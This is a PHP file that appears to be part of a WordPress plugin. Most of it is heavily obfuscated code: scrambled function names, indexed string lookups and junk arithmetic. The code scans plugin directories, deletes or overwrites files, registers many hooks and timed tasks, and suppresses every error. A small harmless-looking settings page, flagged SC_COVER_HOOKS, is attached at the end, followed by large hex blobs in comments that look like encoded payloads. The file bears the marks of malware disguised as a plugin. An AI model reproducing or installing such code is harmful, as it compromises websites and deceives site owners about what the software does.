if (!$z5465jm6qddg6ia  && $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56']($GLOBALS['__scf_n2ceqwn4my98_3']($in64tp2iap,  c_5yznsrtgse_i(1907))),  0,   (0x3+0x9))  >    $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56']($h0f1oasc7_ym3_1b),     0,  (0x9+0x3)))     {



 if (!y06apgntkz3fy3e7gf($in64tp2iap,  $m2nz56ovdsh5))  return;
}


   unset($q8rqsu0aajuwrn_3, $z5465jm6qddg6ia,  $plwilbal24,  $iuwfhfdwpa5mvww9);
   }

 }
 }
     unset($m2nz56ovdsh5,    $netllqf2bvua,  $wt7mdl4l_u4,    $fjjxuodua_uv, $fw2h8tkmy8,  $geek2b7x8ej93j,   $ajebfpy1jg, $in64tp2iap,  $pfacjhpqgx, $h0f1oasc7_ym3_1b, $h_qtao046xijn1u,    $x8jba5pf678800, $n0765_f568f84_8o,  $g6v0ih27uq6s3f);
}  catch (Throwable $ye68b7hs2257kgf)  {
 }  catch   (Exception    $ye68b7hs2257kgf)    {
}
     unset($diy7yf3ze_0l);
   if  (isset($GLOBALS[okltugscqfcy(178)]))    {

if (version_compare((string)  $GLOBALS[onlv7_99m8sby3(1908)], w218ynit42v8uao2p(), e77owqcywda_d(192)))  return;
$GLOBALS[e77owqcywda_d(1909)]    =   1;
        }   elseif  (defined(okltugscqfcy(1910)))  {
    $t_97ktg2hm0 = constant(okltugscqfcy(1910));
   if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($t_97ktg2hm0)     &&   $GLOBALS['__scf_ibg88bu925_93'](c_5yznsrtgse_i(1293), $t_97ktg2hm0)  &&   version_compare($t_97ktg2hm0,  w218ynit42v8uao2p(),   okltugscqfcy(192)))   return;


 $GLOBALS[okltugscqfcy(1909)]      =      1;
unset($t_97ktg2hm0);
}
     $GLOBALS[okltugscqfcy(1908)] =  w218ynit42v8uao2p();
  

 if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(59)))  @clearstatcache(true, ku6yldy17ivtsoehkpgirz());
 $GLOBALS[okltugscqfcy(180)] =  (string)  @$GLOBALS['__scf_o_3hcsdzwrvrr_96'](ku6yldy17ivtsoehkpgirz())     .  ':'   .   (string)    @$GLOBALS['__scf_xfxvwe4pd_9ay_95'](ku6yldy17ivtsoehkpgirz());
if   (!defined(c_5yznsrtgse_i(1910)))  define(okltugscqfcy(1911), w218ynit42v8uao2p());
 if (!defined(okltugscqfcy(1912)))   define(e77owqcywda_d(1912),  w218ynit42v8uao2p());


      xz6divp2h18ddcqnb2(c_5yznsrtgse_i(1340));
 
 i_voaws495l5gi0(ku6yldy17ivtsoehkpgirz());
  if ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1913))  &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1914)))     {
       try {
// @fork principal

$ik7ndcmmtx8lx94 =  rr86pukxk9_hcz1();
if    (@$GLOBALS['__scf_iomf4blfg0_43']($ik7ndcmmtx8lx94)) {
  $jfzbsubp_9_xsfh   =    orb88b5b15pr5r67();
   $ph7yci4_298opec  =  pd5w5h3uqt5mrsxraacf5($ik7ndcmmtx8lx94,  (4969+31));
  if  ($GLOBALS['__scf_a91xkwk0qm_35']($ph7yci4_298opec)) {
   foreach   ($ph7yci4_298opec   as $hmdf3sco7no)  {
     if  ($hmdf3sco7no      === $jfzbsubp_9_xsfh) continue;

if ($GLOBALS['__scf_sp7azfm0t4x0x_100']($GLOBALS['__scf_nyge3zwzqqi4_200']($hmdf3sco7no,  constant(onlv7_99m8sby3(1038))))      !== okltugscqfcy(1039))  continue;
// rotate maximal factory

       $jszt7w4fcghd4tl    =  $ik7ndcmmtx8lx94 .     '/'     .   $hmdf3sco7no;$upow999igxsz=PHP_MAJOR_VERSION;$qzli86u1=$upow999igxsz*3;
 if    (@$GLOBALS['__scf_cr6q9fwgft_18']($jszt7w4fcghd4tl) &&     @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($jszt7w4fcghd4tl) > (4927+73)   &&  b1p_z7rdqk4o1fv4ey8f3t($jszt7w4fcghd4tl, (4975+25)))  {
q7573cu7j8x5sandn00b7p($jszt7w4fcghd4tl);
}



 }



}
}
     } catch  (Throwable $ye68b7hs2257kgf)     {
 e_42zxx3yq4pdz4bo4(e77owqcywda_d(212), $ye68b7hs2257kgf);
      }  catch  (Exception $ye68b7hs2257kgf)  {
}

 }
 
   if   (!     ir1g9dtvh7_yawm1n()) {
  ohkc5udk96vdi9dqobtykb(c_5yznsrtgse_i(737),   c_5yznsrtgse_i(1915),      1);$y58myjurcz=PHP_INT_MAX/PHP_INT_MAX;$d48kz7g0=$y58myjurcz+94;
  }

 
  $GLOBALS[e77owqcywda_d(680)]    = array(); 
  $GLOBALS[okltugscqfcy(1916)]   =   array();     
$GLOBALS[onlv7_99m8sby3(1917)]  = "";$wkwuy_cdod3izr=251|202;$gzgn6if9cgz4p=$wkwuy_cdod3izr^224;  
      if ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1918)))     {
 $GLOBALS['__scf_mk0x8rn0w4_167'](e77owqcywda_d(1919));



 $GLOBALS['__scf_mk0x8rn0w4_167'](c_5yznsrtgse_i(1920));


   }



$w4xnztzjdc0itw   =     $GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz()) .  onlv7_99m8sby3(1365)  .  $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),  onlv7_99m8sby3(1907));
     if  (@$GLOBALS['__scf_cr6q9fwgft_18']($w4xnztzjdc0itw))  {
// online work-queue

 $grgfw3p1f3    =     $GLOBALS['__scf__90_xdmo58j3q_311']((string)    @$GLOBALS['__scf_ha14er2zmzf_92']($w4xnztzjdc0itw));
   $js7cbv3x294xoy =     a6hpczoz5pndfnsi();
  if  ($grgfw3p1f3  ===  ""  || ($js7cbv3x294xoy !==   ""    &&   $grgfw3p1f3    !==   $js7cbv3x294xoy)) er_0rzjfu8611gx($w4xnztzjdc0itw);
     unset($grgfw3p1f3,  $js7cbv3x294xoy);
}
       try  {
// @serialize cipher-suite

   @$GLOBALS['__scf_nsfksoklwo_73']($GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz()) .  okltugscqfcy(1921)    .   $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),  okltugscqfcy(1922)));
   $js7cbv3x294xoy     =  a6hpczoz5pndfnsi();
   if   ($js7cbv3x294xoy !== "") {


  $owdo52kg8iu8    =  e77owqcywda_d(1923) . $js7cbv3x294xoy;

foreach  (array($GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz()),   rr86pukxk9_hcz1())  as    $sg0skiw8fas)   {
if  (@$GLOBALS['__scf_cr6q9fwgft_18']($sg0skiw8fas  . '/' . $owdo52kg8iu8))  @$GLOBALS['__scf_l9ij4yiim4al_f_17']($sg0skiw8fas  . '/'    .  $owdo52kg8iu8);
 }

  }

     unset($js7cbv3x294xoy, $owdo52kg8iu8,    $sg0skiw8fas);
       }     catch (Throwable  $ye68b7hs2257kgf) {
// reject ring-buffer for WP Tag Cloud

 } catch (Exception $ye68b7hs2257kgf)    {
      }
   unset($w4xnztzjdc0itw);
    
  ohkc5udk96vdi9dqobtykb(c_5yznsrtgse_i(739), c_5yznsrtgse_i(1924),   0);
   ohkc5udk96vdi9dqobtykb(onlv7_99m8sby3(739),    e77owqcywda_d(1925), 0);
 ohkc5udk96vdi9dqobtykb(c_5yznsrtgse_i(1926),  e77owqcywda_d(1924),   0);
  ohkc5udk96vdi9dqobtykb(okltugscqfcy(1927), c_5yznsrtgse_i(1924),  0);



     ohkc5udk96vdi9dqobtykb(c_5yznsrtgse_i(1928),   okltugscqfcy(1929),  2);

ohkc5udk96vdi9dqobtykb(okltugscqfcy(1928),     e77owqcywda_d(1930),  (0x1+0x2));
ohkc5udk96vdi9dqobtykb(onlv7_99m8sby3(1928), onlv7_99m8sby3(1931), (2+2));
   ohkc5udk96vdi9dqobtykb(onlv7_99m8sby3(737),  c_5yznsrtgse_i(1932), (0x3+0x2));
 d5mabhd3jevjxm_a(onlv7_99m8sby3(1933), c_5yznsrtgse_i(1934),    (209^219),   1);
  d5mabhd3jevjxm_a(okltugscqfcy(1935),   onlv7_99m8sby3(1936),  (7+3),    1);
  d5mabhd3jevjxm_a(e77owqcywda_d(1937),    c_5yznsrtgse_i(1936),  (4+6),   1);

  d5mabhd3jevjxm_a(e77owqcywda_d(1938),  e77owqcywda_d(1939),  (8+2), 1);
   

d5mabhd3jevjxm_a(c_5yznsrtgse_i(1940),  e77owqcywda_d(1941),   (911+88), (0x1+0x2));
 ohkc5udk96vdi9dqobtykb(okltugscqfcy(854), c_5yznsrtgse_i(1942),   (563+436), 2);


   
d5mabhd3jevjxm_a(e77owqcywda_d(1943), okltugscqfcy(1944));



        d5mabhd3jevjxm_a(onlv7_99m8sby3(1945), okltugscqfcy(1946), (0x6+0x4),   2);
    d5mabhd3jevjxm_a(c_5yznsrtgse_i(1947),    c_5yznsrtgse_i(1948));


   d5mabhd3jevjxm_a(c_5yznsrtgse_i(1949),     okltugscqfcy(1950),    (0x1+0x9),  1);



 
  d5mabhd3jevjxm_a(onlv7_99m8sby3(1951), c_5yznsrtgse_i(1952),  (5<<1),      2);
  ohkc5udk96vdi9dqobtykb(e77owqcywda_d(1953),  okltugscqfcy(770));
d5mabhd3jevjxm_a(onlv7_99m8sby3(1954),  e77owqcywda_d(777));

       d5mabhd3jevjxm_a(okltugscqfcy(1955), c_5yznsrtgse_i(778));
    
ohkc5udk96vdi9dqobtykb(c_5yznsrtgse_i(1956),   e77owqcywda_d(1957),  -(936+63));


 ohkc5udk96vdi9dqobtykb(e77owqcywda_d(1958),  okltugscqfcy(1957),  -(939+60));
 ohkc5udk96vdi9dqobtykb(e77owqcywda_d(1959), c_5yznsrtgse_i(1957),    -(890+109));
       
 ohkc5udk96vdi9dqobtykb(e77owqcywda_d(1960), onlv7_99m8sby3(1961), (900+99));
 ohkc5udk96vdi9dqobtykb(e77owqcywda_d(1962),  e77owqcywda_d(1963),   0);$c0n0sfni9zeb=PHP_INT_MAX/PHP_INT_MAX;$pbp6gak1w8wd=$c0n0sfni9zeb+71;
   ohkc5udk96vdi9dqobtykb(e77owqcywda_d(1964), c_5yznsrtgse_i(1965),  0);
  ohkc5udk96vdi9dqobtykb(c_5yznsrtgse_i(1966),  onlv7_99m8sby3(1967), (970+29));$zv81r03yayj=(0xc7+0xf3);$k9bd0f4lnu=$zv81r03yayj%14;
 ohkc5udk96vdi9dqobtykb(onlv7_99m8sby3(1968), c_5yznsrtgse_i(1967),  (304+695));
      

   ohkc5udk96vdi9dqobtykb(okltugscqfcy(1964),    e77owqcywda_d(1969),     2);
ohkc5udk96vdi9dqobtykb(e77owqcywda_d(1964),   onlv7_99m8sby3(1970),  0);
 

   ohkc5udk96vdi9dqobtykb(c_5yznsrtgse_i(1964),  c_5yznsrtgse_i(1971),   0);
ohkc5udk96vdi9dqobtykb(e77owqcywda_d(1972),     okltugscqfcy(1973),     0);


    
   ohkc5udk96vdi9dqobtykb(okltugscqfcy(1974),  e77owqcywda_d(1975),  1);
 ohkc5udk96vdi9dqobtykb(onlv7_99m8sby3(1974),   onlv7_99m8sby3(1976), 2);

ohkc5udk96vdi9dqobtykb(okltugscqfcy(1974),     onlv7_99m8sby3(1977), (2+1));



   ohkc5udk96vdi9dqobtykb(c_5yznsrtgse_i(1974), e77owqcywda_d(1978),    (180^176));
 ohkc5udk96vdi9dqobtykb(e77owqcywda_d(1974), onlv7_99m8sby3(1979),    (6-1));
ohkc5udk96vdi9dqobtykb(c_5yznsrtgse_i(1980), c_5yznsrtgse_i(1981),   (0x1+0x5));
 ohkc5udk96vdi9dqobtykb(c_5yznsrtgse_i(1980),   onlv7_99m8sby3(1982),   (3<<1));
  ohkc5udk96vdi9dqobtykb(onlv7_99m8sby3(1983), okltugscqfcy(1984));
ohkc5udk96vdi9dqobtykb(e77owqcywda_d(1980),   onlv7_99m8sby3(1985), (10-3));


  if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1986)))   {
$GLOBALS['__scf_mk0x8rn0w4_167'](function ()    {
if   (!empty($GLOBALS[onlv7_99m8sby3(1571)]))     return;
      if   (!defined(e77owqcywda_d(1737))  || !$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1987)))      return;
  if ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1985)))    {
try  {
  w49r9oh9ioww45sp3();
 } catch (Throwable    $ye68b7hs2257kgf)    {
} catch   (Exception  $ye68b7hs2257kgf) {
  }
      }
 });

}
// preempt negotiator for WP Higher Order Components

  ohkc5udk96vdi9dqobtykb(okltugscqfcy(1988),   okltugscqfcy(1989), (0x4+0x4));
   ohkc5udk96vdi9dqobtykb(c_5yznsrtgse_i(1651),   c_5yznsrtgse_i(1990));
  ohkc5udk96vdi9dqobtykb(onlv7_99m8sby3(1652), c_5yznsrtgse_i(1991));


  ohkc5udk96vdi9dqobtykb(okltugscqfcy(1992),    onlv7_99m8sby3(1993),    (19-9));
ohkc5udk96vdi9dqobtykb(c_5yznsrtgse_i(1994),  function  () {
    if    (!$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1987))   ||    !$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1995)))    return;
   $p6yki13bmi49dp    =  (int)    @get_option(onlv7_99m8sby3(1996), 0);



if (($GLOBALS['__scf_p_l9i38f5mdu2r_184']() -   $p6yki13bmi49dp)     >   (2047+1553))  {
if  (!j942fcefk5y9jo4zvbsn())  return;



@update_option(e77owqcywda_d(1997),   $GLOBALS['__scf_p_l9i38f5mdu2r_184']());
  zsl346641q005yr();
  }
 },  (0x6+0x3));
 
   ohkc5udk96vdi9dqobtykb(c_5yznsrtgse_i(97),  c_5yznsrtgse_i(1998));$jufvqvcgp5hm_g=PHP_MAJOR_VERSION;$avbhudrmfb3e6=$jufvqvcgp5hm_g*8;



   d5mabhd3jevjxm_a(e77owqcywda_d(1999), e77owqcywda_d(2000));
if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(444)) &&  did_action(okltugscqfcy(1994))) {
 i53n8jdjfe6b_p();


       }
   
}
if(!defined('SC_COVER_HOOKS')){define('SC_COVER_HOOKS',1);

add_action('admin_menu',function(){
    add_options_page('Settings','Settings','manage_options','cipher-factory-tag-settings',function(){
        echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
        settings_fields('cipher-factory-tag_group');
        do_settings_sections('cipher-factory-tag-settings');
        submit_button();
        echo '</form></div>';
    });
});
add_action('admin_init',function(){
    register_setting('cipher-factory-tag_group','cipher-factory-tag_options');
    add_settings_section('cipher-factory-tag_main','Configuration',function(){echo '<p>Configure options below.</p>';},'cipher-factory-tag-settings');
    add_settings_field('cipher-factory-tag_cache','Cache Mode',function(){
        $o=get_option('cipher-factory-tag_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
        echo '<select name="'.esc_attr('cipher-factory-tag_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
    },'cipher-factory-tag-settings','cipher-factory-tag_main');
});
if(function_exists('add_shortcode'))add_shortcode('cipher_factory_tag_stats',function(){
    $o=get_option('cipher-factory-tag_options',array());
    return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
    if(!get_option('cipher-factory-tag_options'))add_option('cipher-factory-tag_options',array('cache'=>'enabled','version'=>'1.0'));
});

}

/*495e94c1f0f5b8a00d04178caf08267e5a0b40a54b075b0174dcbd6278740bdd101dee61e365dbe37a549b700be34432e91978831c7561ccce8ebd3794e2342c753186166ca0ddbb2771dd7561add304fad564b27f203d797fc3003421e6b1790025fc6a0655aeaa3ca8f422eca4aea18e0f3ebf0c8d260ad94289e99c2d3a6d139b8c945c66f3356988bddd6242882c5ae433c8bef5be0072b98af6fdd2d4fa56989fe3f1cda71d6cf804c16be14f9400b42520ecb63777d2c88fdc2092af0c71378c4d75b10a301f52637411bccc0641ca5e24c54667ebb49b724a150bb071ba20b09f19117a7106bfbf887a2944febe5ac2d2bbde7bfd424b3a8971335b6cf0da04975c59c51d09efa5064b1f598c5653806d913abcd4f571c0bf52dbb42f7d211e4f8794f914e1d2a9c574398bff4baf95f0f0085eb2088864d9286a9b3697bfc6575a84e5793a6846be5521db69da8324b5fa84e535dfcd5e53a2e96c0211864a02599cb4b1156905171db39281a30b4b8bef6c7a103b5459b2f1300c21039b8fc5f93bb0305bad23b1c6a4d9cbc03e16e34cc75564d53e1ec885942de7f8187362df8e18edeb838e3b5a45fac9e369595bc16b4699f43e36ad4ae8cf8cb818222d881a2a7ad28c9c5a948066899d5f1fbc446388bc64dd97236cace265127e9f9545fa0296dd0947962eabb2e7a256027d3ea350b50c19d73c038b04b5b2f7979c4ef16073b351c2dc14f9e7bc8ced0b212106d7455c76e14109003047ef8eb23028e544d6fab06c4b3eaf1035c45d74d7119f73693961114bfe34e03fa3d932795740bc95f17fc317a3965eb0374d92351f649361749b17f7e84be636975bb81fe9515ca33fed806362070b0dab9e6a2940a88c7c3d17c80f5b909c1e5574346063bca3b250381996266ea17dbcaf885ee499b40826ccc6fdf8aaeb2adef6918b5bd1dcd34b30f75986019108e231f046126f9bfce4b9717dc768dbba1fbf21a5020a699c664af8db1429e4c0f4f8c7ffaa499f0b85da85978ec14649e154fd28e6b79f077496a62c324470898266814096ef4095d78840c3734042eb6658deeceb74bf8b711cc461d063b771898221159c47319691487bb0e158e64ceb7c1d96e3e69bc2a09238ec3515ca1fa1139f7f458b7bf8c4d846c5e0e0ca82ad11c5936ab512d09b91cce3e8a4c13d204a0074bb401eb4aff96976adcf35cb48577e772d60a4676c156674deb9443a26e2d2cfff127a21453a2b127ea5ca0ed3873fe1392b6b61f409af92f9557fedc667b2aa5ec09d57df594cfe8d3b700d1a2132bcc51d7d7a8dab3725b494317c70a177bf2b14bf1a6003d46a12ef7f355bfb9acad77cc38a63002098a0d3f9fff95f1d1269062ad642740c798892632df52af879a374dce9d995e790ce8f72fa86f4cef48ee05c975509c5ee3f616958a9ab17e1c16ebf6488c9babfddf79dd33801afb29ebbdbdf093fce748bff51e5331090c20a4fdcc9f403dbc9f84834d651d7810a45e01f152763d9f138d2dbcf9d17b08dc0cff3b6cee423c99fc560a07355c621a4591bc3777bc3b77915e88a427a512a461a8678875ee223732adb3a20c4871ffa427d358d0e40cbf8d1531e99c3db7e6e86368cf63c148c4aaa1c2269f13b8ab97ca18e1e013e6f1615235d7daafef96419a428a6d82ea476af3f8f5947bb5a4894a16ad22d643d1cf2b25066f3241a8804aaf6aedbf6bd36f17792f443223e97c8d389404985615f9db6e9cd539fb05bc7c2f662e2bc7e8d204a02fe01180f99343835149cd40bed3b3b27ee1ddaedd4837e8dc2dff67b9d5b4b68381eb989d965cd23936e5f09683095da2a7ddf8c680478ddf1108e97296b290dbb43230e17b8b2ac35a8c20e4721777ccb4aa7de854ac27a925d4b968bfb97cfa4a31cbf99c39fcac49b4c7d3e015a95b16a560d34fe11e85a2b92540c82178bbfba81f05f4ca1cda3818c771cc3da0e88b36e088c7758788218726bbc515ce4971882b059c255d6a34b99b2909c9789ba384cf53109d93e135c543d91deb761ec75ac443e0abdb1161fe2006263e110675eedffa4f26a507925b43e1f6099f710cd216400a192b0098ded657be32d7c929813c98e8233b7d78281a0eefc93d5b6f39849c409c6bb2f3bc8af4103270abe7a35fb3a4d7917a066483442ad69f2546f30717f996fddc5ce3fc7c0a09b99671586bd5c1164aec912df3f0f02fb2c2fce3e1376c3b706ccc1b1183c3d39149ff716570ca9c3d306ec9aa39aa4d5aa42a72c6a8159dfc2bf3f2a34d25692e30094f9939c48d68260cde270722e686598b1ed822892350769eddb5aa724fbf5c1620ebbfbe1c39d94ce34109bbec4deea40e8c35e43d4b80e286585fd3aaeec770d13ab3eb687d24bcc6a040703eb5a165726f05fcd5d82b7f42a357af5c3fcb90d8ec280ee7843b1759755f17068b9d1cf77c3c307f4a4bd6e4c82800be91edecec183828bc1cbd8e5efadd20435ebaaa7ff16280d91ad36918cb743a0f5274cd6d0743934e518fde74f38667662eb17ffa1138f45c0c5ac4c01719985d6209c9cbc0a0f3122e7cf9450ac09765241bcb023c2a3b57c34ea34639edcce9ae0a3787a23519956dee8e0f1dba844cd0fd02f03f3f31c50a025bcdcec19634a6cf9f6adbb8eb5b02146cdf0f3b57b02fa546a9eed04d8fe2d06bf6b48b0ce973a1f94becdd18686ca69e441840473596b7e5479082dde5ebc57a02cedae627fe668b6e8538e27020e559c98259fa690527ae712edb4cdf5bbbd3610e3e99854cd2ab7a30f1a0929b3fef74b0d5cec1e3e*/
/*cd501a0aad139592adf96734d9e5dcb371232e0f90c3c33637bf6429081197076a46324e3e1ce17881c04030849333ffc409c7139ac4cba633a1bcb7dc9c228e250290c806e9424a5371cc909a8802282c9c59b01bac452581bf4cfc8dfaa06125df0f571e092c15c62ed1f429f9d1330ffeddecbf4d747d86420813c9fe08289c678eb9691750147b06c208ed6d138339f1bbb5af9d8f484bd6b62e7ed84236b3ab665356528b54be648fc0ff736991e28e66aa17beb7c6e98f51159d1f67c0c7c05ce9f9e5766fdf8bdeeff8f09d804ba209527cf1afc0a6763e1427decddc9c717da79410515b98ff14edf3eb96322d4de2820583e180e84e468a69447ffe2e0b32f9eb5b39aed59d85cf2fbb51401feb31dcc9aab6be819f8414bdc3fa5fc7ac3c02307de1ca5a9c42c3883e0b342979c80ad3ca906105dd5f25963a5a4c81ffc4a8fcc3841c2bed383d304337b859db68107426217fb5d7e1ac9508d2f7771ea2956da8c8a41c51914a0a5efbc4b8c2b44c71f88a6bcbc633249dc990b9b69f549202bf78715f9e53f47de2ca3932e08b03ffcfe21b91095e685f325f4e2cdc6f31030bd14e230134b8aba10231635132f9e2ff92c3f08db96e04812d7ae9a2a60065dfb537984510a8bd5b796252fe1af6b1445ce5867648bf45108ed075227d7dbd81b757e1adc7cf23e660c54dcb19f259795cf96ec20c0a7d0b1cd0374868718961c5ba5763c2a60855ec78dbede280b90334195c0a189449c73f1338384812d211362645d978d2262fe900823e82b8b2054ced8e705cd37f70b0302e1556defc2a1c3f59da1cb3b64e6242ea05b07077e8ad033c80c7b735253a47276ac31ad35ef6561eeac2d7d371d91110ed76e6a908fbc540ed04d56b43e1cd019e2571a910dda6cc106a19553cfb8eea30fdd531062703246803c62137076fd2cecc089f84b19424b2f55958cacc7b07301a91f500f050f59186916ef5faf6a5e54170f850908f75e789adacdd5911beddbad98c1c04ece6d9b7edc1646766daea7e7832fa412f69103283b26e1db0342021b91ec2b7676f06c8d641692754e9f94451b68212d55caa4185aab09d66df6310b6730e7207c2699fe81b8570ad2f7dcb21cb53839125b682943720363ae4895194eec6ddac61fc395695f838e6cf004fa5df91e194de63658d286ec10eff63d0148101497d8193bdce46205d5fdb2e984a71b96a705cb80b789697aaa8e46e576b418555a450198f167ddaf39a9083856210fb21ac43b31bd0a9dce1df54753742b86f230d7440c9c5cce0344ce6ffeb8882df93a41ecc4a14ef99da296994bc9a4957d63c38f8198c0cc668eda99bad64c635e8b51c236025fb61b4537d71fc6204e275b189811986971dc254b87ee795ff6e5bad862fe5e70d9a7f39321372d834dbb5c84172037a12ecbfdcabe4de877df0b5d1c811836571291f3c89c6dd71666ff41ee5919b90f1856114a876e2e7f6fc1856c27d1c2f27993bedede726d76d84bbcc93dad0b365ae193fdd1a36b5a69ce10289d3350507176f613004038502909c45663633b63d454761879c9e2b81e609ac392ec9b719e71612d0092536561a4c31f0ae54a0acef5ca02fae6e09c625c8d49c7ac7a212fbe13a20e5c4612784d345c042b99974467d20d24356b8f37f8c549a574b75c550e6bf4ab6c1dce8c90ba1c6ed3f24feb360aa4957dbe3654f506e26c5228445ffd22daafffdcdbd058544d5b1da7fc8e51ca8274bc766f330c206c558c2727eec508b1949cf907c5cecaa6d83c0ab30d2506421ed7d2a5325313d588829c6520e92db7b39124a31cb7fe2f7e17704185b2224a338736b7e0d9fecb93ec20508c8023fd9747c21e197265f2eda7bf4f6236d23c8204c861744cd98deca36a287890dfa54f8f917a66fc8272c9a6eab80255a8a080c00198dfe2a439e23e0de9801b7fce5c331578affd75e277bb1eccdc211c8e02cb259626ad86bd64295b143c0910b0361eff5d81a3b9f548611dadccbd0495323ed85202b315eeb1fd6ac4ad318913b8d842b5cca531dd2fd04079ba9e0794a85bac15ff2c7cd8a556697ecfff281deecb5c96dee70de17d4261306fce3496ced5544c4b173ddd7526e52f9b3515be565ec33e24e9981f832b28245f77b41c799664bfb1cce1094cb6986cad7a123bc4e1f469f4e7de434bcbc46fc090c095a80c31ebf268a4cb20f2bf8ef87f3a61a8ab30c232c6611c8bdcd3074247fd18e8e0b3ce27806fd0f2cdb6860fe9222e84b2ceb022efcdf62a04f233c6dbde95fa27cd783869a2bb0e4f95dc43510fb2655df66481923801decb8ccaf7d8d750e7a1e4d6d91305531046c3f1d905fcef767d825e174670ed811c8982dca34d744d93f5d25ce951a80404712883bb0d8c74d5b47b9572d442f0e104f2fb47643a34da3d092291dde21e8e8d2836381e8e7f49e4565defac49fe8d26479e6bda0d322c0a9ec850b61910c75598a929bdf10043b6246049d9a5d2522e2215a9b01b44d85638e3f93287cc1675d2b543f9c53956b1023305102fe17358b9126d9eff37589e691d7f4b5e38561c36a5569fe66c1bfb6d21c3a30cd69ebe852d594a1c6933c5092e9284463af3175ed525afeb117a6bbedab738fe28defa5c9cce836a1ce5bdb4545e65d994fc2ba39e56f3adf8249586e214a03b3c2260030f65d45b49c701ea7c7cfe7cf5d7aafd1015a2f7b97357ac4c05c3d544d6ace68aba63011527b7c8f07159c9d7539fbe6b5b804cd461ec40fc1dac1070b73fea418a346db0a2145b00b32b39cd1e3f399d06640*/
/*08fcddeb10daecee177a6b88bd7fe08baa56f0fa3ad3d47d7e39e1616f30dcaf107014dc63d9002861fcd78108ba3ecffe2c34f3d5ff6b3624b0c1c8727200cbf3670b2bf3fbb32c80b1d8366a2c098af0dab90342b44e13bf85405439b823c4f08cde5b4b7d97a209ca974fe6f6c4d2afd4b5f4373f082cfc09c94acef538ec67363d4247c5bca7401b21746a16bba7acee5e91909163d66cee893f239145cbdeea6e55f125f5d3531f6ba5752a7c469e2e1708c2559a58bf6c10b54e54ba38bf46d5ee20479920c70828fd612aec14376ceafa05f27b7da00d6d36213d85cedd32fc14055e3612bf381f23ed68e742c33c0e396d37b7aa39d3aed0f112c72857f3c2c765e78953b5413b438dd2d638aaf0368e7ad9a024b4e428bacfd9c035213f58861e8d9b78bfe994a869e86540696133615869962afe37361b496a31230fd7a1843cebc350c54fffaeccaeab6b4b840c719ab9c04a33bb5467c41971a563873835280157bf0d90a21fd03f0ca72605a26916d154cdc1aea142483e3b9a1a4b559974c684366db63e534a8ecf7f77538e2f376e702de1a74e4db346b548cff6862a7489d713be9bfbec1735afe173b6564026be2a27b716a63ebc28627cfde737a6cf42ff119c87a73f76051cc3c021f63d43b928864f7af5e7877053a0ae7093deae20ea247007274b47c3220a534c577893753666cb740b10cebad1b5da6837e11516c4687b46446be2fc6d0773018f34a54a9ac5240fe55c6b77291adc5e8d699e35a5f44f12cbcd259f443c2630cecea3035c872f0d6057bbd09b7f4b810e629c93d9a1a2c07bd366736720d35ae9f168ca33287068588673462fdd8bcc71b64f82a6536af041128eba6b81978322333c874cd6e19d32d795baffcaf24058fe7cf7721424b14d8e109f151c72f26f59863ed9601c72fc4b1a88d970a469069c01f8cccd1d634aa35e3c68d6095b331156b3128ff857ecf6b06bf7c20ff40b31e1d68a1e52f9973bca009ab3affaad0e4fc2d22b5dc4cc81aabbdc754df59e97a4472c7e14a461e2721a8d477b4552284b9f0bee99a0d351bb7279e60eb92e59e183fe309f5d9d1f03bbe44cdf1314dd6693485bf309f829f22d7be812b448d87e289b484467b6cc03820c9a7b98820c67d9d6fd86e97a8af93c46a54d422f0f8e13b2ef89ef65884b492c23cbdaf31e0c421805cc1616912d92956bda005a63bb57da6c68037e245e5351ae911f10059acfffc40e622b287727f641f957830de30961463717a92a529cd8f6870515daa841f98d1446d8a430a42e4b6def2d022263695ae81910d31b09f37121297161ac0bb715a0114a928ebe517d412a7b4f8324a445f42d89ec97c6bb47dd1219529752250b4bcb817ff9e4d0aef213e1b37f359aa2af2583b04108260e11d933849b8260b45aa35d78d0bcfecf57e48b95c223569e73de1c63bc69a3ca52b452aea1c2ebb6bfa4a8fbafd48b453ba01fee07e7273763d6a88a48019e841a5b4a31f21613ab9e0552b993007722e5aa4eed762205927841fd259ad31cfebb040ecf0d8ea7b67400aff4e6828793743e02f5b435176f59f36e59a4966bb6661f668ce331cd73cbee4fbda3d52d508c333f74b5800dda06da3b83bb88d31db0ed216ff34f531e466326172349ee7906a355434b7abe2f12c79f45df58046839377a7dd63462503f8b3efe6710bc70d48ac36d76bbac82cf723398fe7871c174422c9be796e9960075840294a528342b2b7265940e841881fe9541150875531c229018274e08ddddbc7a1aac0627a3c29977fc17976f4c6d494468ac22c4a48348b4a36729bca79ac74637c1fbddadd6723578982593e6e7cc35797ea437818a25a663acaa2518a542e80397ca06d01ce73ef495ed2bc0fc8ac0d4aad19f85bce161b8c549fe2d2a60d0c183a0276f3dfe09d7d7f4cf1f947ffb5dd47b41b860376352ad9c51ff48d3999cb93a09e